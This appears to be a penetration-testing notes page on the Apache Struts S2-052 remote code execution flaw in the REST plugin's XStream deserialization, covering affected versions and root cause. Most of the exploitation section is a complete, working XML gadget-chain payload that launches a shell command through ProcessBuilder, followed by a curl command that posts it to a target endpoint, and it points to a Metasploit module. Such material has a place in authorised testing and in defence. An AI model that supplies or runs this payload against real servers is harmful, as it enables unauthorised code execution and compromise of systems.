s2-052-remote-code-execution
S2-052 Remote Code Execution
Affected Versions
S2-052 affects the following Struts versions:
- 2.1.2 – 2.3.33
- 2.5 – 2.5.12
Root Cause
- Struts REST plugin uses XStream for XML deserialization
- Proper class filtering was missing
- Attacker-controlled XML is deserialized into Java objects
- Results in arbitrary object creation → code execution
Filtering existed elsewhere in Struts, but not in the REST plugin
Vulnerability Type
- Insecure Deserialization
- XML-based payload
- No authentication required
- Requires REST plugin enabled
Attack Surface
- Endpoints accepting:
application/xmlapplication/json(converted internally)
- Common REST URLs:
/orders/users/api/*
- Usually triggered via POST request
Exploitation
- Send malicious XML payload
- XML is deserialized by
XStream - Malicious Java object is instantiated
- Command is executed on the server
Payload
- Uses XStream gadget chains
- Often leverages:
java.lang.ProcessBuildercom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
success
Metasploit Framework has a module for it called exploit/multi/http/struts2_rest_xstream.
success
Python PoC script can be found here.
Manual Method
- Save the following file:
info
Make sure to modify the command payload.
payload.xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<strong> <string>/bin/sh</string><string>-c</string><string>zc00l</string>
</strong> </command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>p4WVJLW2H</name>
</filter>
<next class="string">6Fcg22xLlaHiIK8</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
- Then run the following command:
❯ curl -X POST http://rezydev.xyz/orders.xhtml -H 'Content-Type: application/xml' --data @payload.xml
Detection Strategy
- Identify Struts + REST plugin
- Send malformed or malicious XML
- Observe:
- Command output
- Error messages
- Delayed responses (sleep payload)